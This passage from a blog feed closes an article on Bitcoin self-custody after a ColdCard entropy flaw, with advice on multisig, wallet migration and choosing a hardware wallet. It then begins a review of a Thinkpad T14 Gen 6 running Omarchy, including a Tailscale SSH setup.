    <a href="#2-of-3-multisig-safer-and-much-more-bureaucratic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, <strong>2-of-3 multisig</strong> with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.</p>
<p>You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.</p>
<p>&ldquo;Independent&rdquo; is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.</p>
<p>In Sparrow, the conceptual procedure is:</p>
<ol>
<li>Create and back up each seed separately.</li>
<li>Export the fingerprint, derivation path, and xpub from each signer.</li>
<li>Create a <code>Multi Signature</code> wallet, normally Native SegWit, with a 2-of-3 policy.</li>
<li>Import all three keystores and back up the wallet&rsquo;s output descriptor.</li>
<li>Record which signers correspond to which fingerprints.</li>
<li>Verify one receiving address on more than one signer.</li>
<li>Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.</li>
</ol>
<p>The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.</p>
<p>When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.</p>
<p>None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.</p>
<p>Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.</p>
<blockquote>
  <p>I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.</p>

</blockquote>
<p><a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s best practices guide</a> recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.</p>
<blockquote>
  <p>If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot &ldquo;replace one key&rdquo; while keeping the same addresses; the policy changed, so the scripts change too.</p>

</blockquote>
<h2>Fulcrum fixes privacy, not a weak key<span class="hx:absolute hx:-mt-20" id="fulcrum-fixes-privacy-not-a-weak-key"></span>
    <a href="#fulcrum-fixes-privacy-not-a-weak-key" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.</p>
<p>I showed the architecture and installation in <a href="/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/">Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</a>. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.</p>
<p>Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.</p>
<h2>How I would migrate today<span class="hx:absolute hx:-mt-20" id="how-i-would-migrate-today"></span>
    <a href="#how-i-would-migrate-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do not turn one emergency into a second accident. I would follow this order:</p>
<ol>
<li><strong>Take inventory.</strong> List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.</li>
<li><strong>Treat the seed as compromised.</strong> Do not enter it into online software or accept any third-party &ldquo;checker.&rdquo; Keep signing on the device only for as long as it takes to leave.</li>
<li><strong>Choose the new architecture.</strong> I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.</li>
<li><strong>Generate new entropy.</strong> Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.</li>
<li><strong>Back up before receiving.</strong> Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.</li>
<li><strong>Test recovery.</strong> Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.</li>
<li><strong>Verify the address on the screen.</strong> Do not trust only what Sparrow displays on the computer monitor.</li>
<li><strong>Send a small amount.</strong> Confirm that the new wallet can receive and spend. Coinkite also recommends this test.</li>
<li><strong>Move the rest immediately afterward.</strong> Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.</li>
<li><strong>Keep the old backup marked as compromised.</strong> Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.</li>
</ol>
<blockquote>
  <p>If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key&rsquo;s reach. You can reorganize UTXOs and improve the architecture later, with time to think.</p>

</blockquote>
<h2>So which hardware wallet do I recommend?<span class="hx:absolute hx:-mt-20" id="so-which-hardware-wallet-do-i-recommend"></span>
    <a href="#so-which-hardware-wallet-do-i-recommend" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, none.</p>
<p>After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is <strong>very hard</strong>. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.</p>
<p>That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.</p>
<p>Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company&rsquo;s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.</p>
<p>For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, &ldquo;buy this and sleep well.&rdquo; You will have to do your homework.</p>
<blockquote>
  <p><strong>NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer&rsquo;s official store.</strong> Do not save on shipping by placing your life savings in a device that passed through a stranger&rsquo;s hands. Marketplace listings, auctions, eBay, &ldquo;open box,&rdquo; refurbished hardware, and that unbelievable deal from a friend are all out of the question.</p>

</blockquote>
<p>When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard uses serialized packaging that shows evidence of opening</a>: the number appears on the bag, an internal tab, and the device itself. <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documents the holographic seals</a> for each model. <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combines sealed packaging with cryptographic attestation</a> performed by its app.</p>
<p>Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not &ldquo;see whether it works,&rdquo; and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.</p>
<p>And watch the terminology: all of this is <strong>tamper-evident</strong>, not tamper-proof. ColdCard&rsquo;s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.</p>
<p>I would start with these questions:</p>
<ol>
<li><strong>What is the published threat model?</strong> The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. &ldquo;Military-grade security&rdquo; is not a threat model.</li>
<li><strong>Where does the entropy come from, exactly?</strong> Find the sources, how they are combined, and which end-to-end tests prove the <code>New Wallet</code> flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.</li>
<li><strong>Is the code actually free, and does the binary correspond to it?</strong> &ldquo;Source available&rdquo; under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">reproducible build</a> lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, not just the manufacturer&rsquo;s promise.</li>
<li><strong>How does the company treat people who find flaws?</strong> Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly &ldquo;perfect&rdquo; history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.</li>
<li><strong>What can you verify on the trusted screen?</strong> Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.</li>
<li><strong>Is there an exit route without the manufacturer?</strong> I want interoperable standards: BIP39/BIP32 where applicable, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a>, and <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company&rsquo;s app are lock-in built on top of the key to your life.</li>
<li><strong>How do the hardware, firmware, and supply chain work?</strong> A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.</li>
<li><strong>Can you recover without improvising?</strong> Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.</li>
</ol>
<p>I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code>, and <code>responsible disclosure</code>. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.</p>
<p>For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s guide</a> recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.</p>
<p>In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.</p>
<p>The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.</p>
<p>I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.</p>
<p>This may become <strong>one of the worst episodes in the history of Bitcoin self-custody</strong>. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.</p>
<blockquote>
  <p>In the worst cases, the RNG reduced the universe to something around <code>2^40</code>. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.</p>

</blockquote>
<p>There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the <strong>New Wallet</strong> button called the correct RNG.</p>
<p>It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.</p>
<blockquote>
  <p>The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer&rsquo;s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.</p>

</blockquote>
<p>I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.</p>
<p>Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>Omarchy on the Thinkpad T14 Gen 6: Mini-Review and Full Setup</title><link>https://akitaonrails.github.io/en/2026/04/18/omarchy-on-thinkpad-t14-gen-6/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/04/18/omarchy-on-thinkpad-t14-gen-6/</guid><pubDate>Sat, 18 Apr 2026 08:30:00 -0300</pubDate><description>&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 closed, next to its USB-C charger" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It&amp;rsquo;s not my main machine, and it&amp;rsquo;s not supposed to be. It&amp;rsquo;s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 closed, next to its USB-C charger"  loading="lazy" /></p>
<p>I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It&rsquo;s not my main machine, and it&rsquo;s not supposed to be. It&rsquo;s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.</p>
<h2>Mini-review of the Thinkpad T14 Gen 6<span class="hx:absolute hx:-mt-20" id="mini-review-of-the-thinkpad-t14-gen-6"></span>
    <a href="#mini-review-of-the-thinkpad-t14-gen-6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-turned-off.jpg" alt="Thinkpad T14 Gen 6 open with the screen off, showing the keyboard and the Intel Core Ultra 5 sticker"  loading="lazy" /></p>
<p>Let&rsquo;s get this out of the way: this isn&rsquo;t the notebook of my dreams. If I were picking by looks, I&rsquo;d grab an Asus Zenbook S 14 with an OLED screen. If I were picking by portability, the Thinkpad T14s with the aluminum shell, which is lighter and much better looking. The regular T14 has a 14&quot; 1920x1200 IPS panel, 400 nits, 60Hz, no HDR. It gets the job done, but it&rsquo;s a far cry from the Zenbook&rsquo;s screen. The shell is plastic with a rubberized finish, which makes it scratch-resistant but not premium. Reviews from <a href="https://www.notebookcheck.net/AMD-Ryzen-AI-meets-classic-ThinkPad-Lenovo-ThinkPad-T14-Gen-6-AMD-laptop-review.1222690.0.html"target="_blank" rel="noopener">NotebookCheck</a> and <a href="https://www.xda-developers.com/lenovo-thinkpad-t14-gen-6-review/"target="_blank" rel="noopener">XDA Developers</a> land on the same verdict: good price, good connectivity, fine performance for office work, but the screen is dated.</p>
<p>What makes up for it:</p>
<ul>
<li>Port selection. Full-size HDMI. Gigabit ethernet. USB-A, USB-C Thunderbolt 4, charges over USB-C (not a proprietary charger). For a debug companion, this is exactly what I wanted. The Zenbook S 14, being thinner, cuts ports.</li>
<li>Fingerprint sensor that actually works on Linux (Goodix MOC, works with libfprint on kernel 6.11+). I use this, details later.</li>
<li>Thinkpad keyboard. 1.5mm key travel, trackpoint, classic layout. It&rsquo;s not the best keyboard in the world in 2026, but it&rsquo;s reliable and durable.</li>
<li>Rugged shell. It will fall, it will scratch, it will travel in a backpack. If I put a Zenbook OLED or a Macbook Pro on the 3D printing office desk next to the printer with PLA dust in the air, I&rsquo;d be nervous. The Thinkpad can take a beating.</li>
</ul>
<p>If I wanted a gaming machine, I&rsquo;d get an Asus Zephyrus G14, my favorite gaming notebook. If I wanted a creative work machine, I&rsquo;d get the <a href="https://www.asus.com/laptops/for-home/zenbook/zenbook-duo-ux8406/"target="_blank" rel="noopener">Asus Zenbook Duo (UX8406)</a> with two vertical OLED screens, great for video editing and 3D modeling. I can afford any Macbook Pro or Mac Studio, and I chose not to go that way. I&rsquo;ll explain in the next section.</p>
<h2>My use case<span class="hx:absolute hx:-mt-20" id="my-use-case"></span>
    <a href="#my-use-case" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-fastfetch.jpg" alt="Thinkpad open on a 3D printing office bench, with fastfetch showing Omarchy in the terminal"  loading="lazy" /></p>
<p>My main PC is a desktop with Ryzen 9 7950X3D, 96 GB of RAM, RTX 5090 with 32 GB. That&rsquo;s where I work, experiment with local models, run containers, edit the blog. For gaming, I have a separate mini-PC with an RTX 4090. Those two cover 100% of what I need to do at home.</p>
<p>The notebook exists to cover the remaining 1%: sitting on the couch, taking it to the 3D printing office, taking it to the kitchen, short trips. It&rsquo;s not meant to replace the desktop. It&rsquo;s meant to give me remote access to the desktop when I&rsquo;m away from it.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/ssh-to-remote-desktop-on-left.png" alt="Hyprland with two terminals side by side: left is an SSH session on the main desktop (96 GB, RTX 5090), right is the Thinkpad itself. Same UI, two machines."  loading="lazy" /></p>
<p>In practice it looks like this: open the notebook, split the Hyprland layout, left pane SSHs into the main desktop, right pane is the notebook itself. Same Omarchy on both, same keybindings, same bash. The notebook becomes an extension of the desktop, not a parallel environment I have to re-learn in my head every time I switch.</p>
<h3>SSH from outside the house: Tailscale<span class="hx:absolute hx:-mt-20" id="ssh-from-outside-the-house-tailscale"></span>
    <a href="#ssh-from-outside-the-house-tailscale" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Inside the local network, SSH is trivial, the notebook talks to the desktop through the internal IP. Outside the house is another story. My home IP is dynamic, opening port 22 to the internet is a terrible idea, and even with DDNS and port forwarding you&rsquo;re putting SSH on the public internet for any scanner to find.</p>
<p>The solution I use is <a href="https://tailscale.com/"target="_blank" rel="noopener">Tailscale</a>. For those who don&rsquo;t know: Tailscale is a mesh VPN built on WireGuard that creates a private network between your devices (the &ldquo;tailnet&rdquo;). Each machine runs the agent, authenticates once, and gets a fixed IP on the private network (something like 100.x.y.z). Traffic between your own devices goes peer-to-peer, encrypted by WireGuard. It doesn&rsquo;t route through Tailscale&rsquo;s central server, they only coordinate NAT traversal. Result: from my notebook in a café anywhere in the world, I run <code>ssh hal9000</code> and land on my home desktop as if I were on the same network.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/tailscale-machines.png" alt="Tailscale admin panel showing my two tailnet machines, hal9000 (desktop) and hal9666 (thinkpad), both with SSH enabled"  loading="lazy" /></p>
<p>More sophisticated options exist: <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> with Zero Trust to expose services publicly with SSO auth, self-hosted headscale, raw WireGuard with manual config, Nebula, OpenVPN. Each has its use case. If you need to expose services to third parties, control granular per-identity access, or run the whole infrastructure at home without depending on anyone, those options win. In my case, it&rsquo;s just notebook talking to desktop, for short periods (it&rsquo;s not a full week of work, it&rsquo;s a weekend debug session), so free Tailscale covers it. The free tier accepts up to 100 devices and 3 users, way more than I need.</p>
<p>Setup is as simple as it gets:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># On Arch/Omarchy</span>
</span></span><span class="line"><span class="cl">sudo pacman -S tailscale
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tailscaled.service
</span></span><span class="line"><span class="cl">sudo tailscale up --ssh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>--ssh</code> flag enables <a href="https://tailscale.com/kb/1193/tailscale-ssh/"target="_blank" rel="noopener">Tailscale SSH</a>, which authenticates via tailnet identity instead of a local SSH key. Once you log in through the browser to tailscale, each registered machine can SSH into the others based on ACL policy defined in the admin panel. Zero key management.</p>
<p>I repeat the same on the desktop, log in with the same account, done. Both machines show up in the panel (hal9000 and hal9666 in the screenshot above, both with SSH enabled). From the notebook: <code>ssh hal9000</code>. From the desktop to the notebook: <code>ssh hal9666</code>. No port forwarding, no public IP, no port 22 exposed to the internet. If the notebook is stolen, I remove it from the tailnet with one click.</p>
<p>A practical detail: since the tailnet gives stable names, I added entries to <code>~/.ssh/config</code> to use these short names:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Host hal9000
  HostName hal9000
  User akitaonrails</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now <code>ssh hal9000</code> works from anywhere that has Tailscale connected. It&rsquo;s the closest thing to &ldquo;it just works&rdquo; I&rsquo;ve seen for remote SSH.</p>
<h3>Why not a Mac<span class="hx:absolute hx:-mt-20" id="why-not-a-mac"></span>
    <a href="#why-not-a-mac" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I have no use for macOS. As a dev, I live better in native Linux. Every tool I need has a first-class Linux version, and on macOS I&rsquo;d get a second-class version via Homebrew. I don&rsquo;t do iOS, so I don&rsquo;t need XCode. For mobile I use Flutter or Hotwire Native, which run on any OS. iTerm2 and Ghostty on Mac are fine, but Alacritty, Kitty and Ghostty itself on Linux work just as well. Every good piece of software lands on Linux first and gets ported afterwards. Arch with AUR covers everything in a single <code>yay</code>.</p>
<p>For creative work, I haven&rsquo;t done it professionally in years. DaVinci Resolve Studio on Linux is better than Final Cut Pro. Krita or Affinity Photo replace Photoshop for most cases. Clip Studio Paint on Android is better than Procreate. I simply don&rsquo;t have a workflow that depends on Apple, and the App Store annoys me.</p>
<p>For gaming, Mac is terrible. Apple Silicon has a decent GPU for some things, but the native macOS game library is pathetic compared to Windows or Linux. Game Porting Toolkit exists, CrossOver exists, but for anyone who games seriously, it doesn&rsquo;t cut it. I won&rsquo;t be gaming on the Thinkpad, I have the main desktop and the mini-PC with the RTX 4090 for that. But if I ever feel like running Hollow Knight or some indie on a train, I just install Steam and let Proton handle it. Linux became a real gaming platform in the last few years, with Proton/DXVK running almost the entire Steam catalog (check <a href="https://www.protondb.com/"target="_blank" rel="noopener">ProtonDB</a>). I recently wrote about <a href="/en/2026/04/11/emulation-distrobox-with-claude-code/">running my emulation library in distrobox</a> without polluting the host system. With Mac, those options don&rsquo;t exist.</p>
<p>Another argument that always shows up: &ldquo;but a Mac Mini M4 or a Mac Studio with 128GB of unified memory runs large models locally, it&rsquo;s a ChatGPT replacement.&rdquo; I already tested that thesis and wrote a <a href="/en/2026/04/05/testing-llms-open-source-and-commercial-can-anyone-beat-claude-opus/">detailed benchmark</a>. The conclusion: expensive local hardware to run LLMs is a weekend hobby, not a production tool. The open source models that fit don&rsquo;t deliver the quality Claude Opus delivers. I have a <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">home server with AMD Strix Halo and 96 GB of unified RAM</a>, I ran models for dozens of hours, and in my real coding flow they&rsquo;re fine for simple tasks. For complex tasks, Claude Opus. Before spending $4000 on a Mac Studio justifying it with local models, actually test it first. You&rsquo;ll probably end up paying for Opus again.</p>
<h2>Why Omarchy<span class="hx:absolute hx:-mt-20" id="why-omarchy"></span>
    <a href="#why-omarchy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;ve been using Omarchy on the desktop for months and documented the path in a <a href="/en/tags/omarchy/">series of articles</a>. <a href="/en/2025/08/29/new-omarchy-2-0-install/">Omarchy 2.0</a> has its own installer with LUKS, Btrfs, Limine, snapper and SDDM already configured. I wrote about <a href="/en/2025/09/12/omarchy-2-0-install-with-the-omarchy-iso/">using the official ISO</a>, about <a href="/en/2025/09/07/omarchy-2-0-zsh-configs/">ZSH customizations</a> with atuin, starship, secrets properly organized, about <a href="/en/2025/09/07/omarchy-2-0-mise-to-organize-dev-environments/">Mise for multiple languages</a>, about <a href="/en/2025/09/07/omarchy-2-0-lazyvim-lazyextras/">LazyVim and LazyExtras</a>, about <a href="/en/2025/09/09/omarchy-2-0-understanding-ssh-and-yubikeys/">SSH and Yubikeys</a>, about <a href="/en/2025/09/09/omarchy-2-0-tuis/">modern TUIs</a>. There&rsquo;s also <a href="/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/">Omarchy 3 with dual GPU AMD + NVIDIA</a> and <a href="/en/2026/01/09/omarchy-3-one-of-the-best-coding-agents-crush/">Crush</a> as a coding agent.</p>
<p>For those who don&rsquo;t know: Omarchy is plain Arch Linux with a cosmetic layer on top of Hyprland/Wayland. Pre-configured with sane defaults. I could build all of it from scratch, I&rsquo;ve done it several times in my life, but why redo work someone already did well? I install Omarchy, I stack the tweaks that are mine on top, and I have customized Arch in a fraction of the time.</p>
<p>A point I raise every time I recommend Omarchy: the documentation is excellent. There&rsquo;s an <a href="https://manuals.omamix.org/2/the-omarchy-manual"target="_blank" rel="noopener">official manual</a> covering everything from installation to theme customization, keybindings, Hyprland, Waybar, the works. If you&rsquo;re coming from Ubuntu or Fedora and are wary of Arch, this manual handles most of the doubts. If you&rsquo;ve never touched Hyprland, open it and read around. It&rsquo;s not a README dumped on GitHub, it&rsquo;s a real manual with chapters and an index.</p>
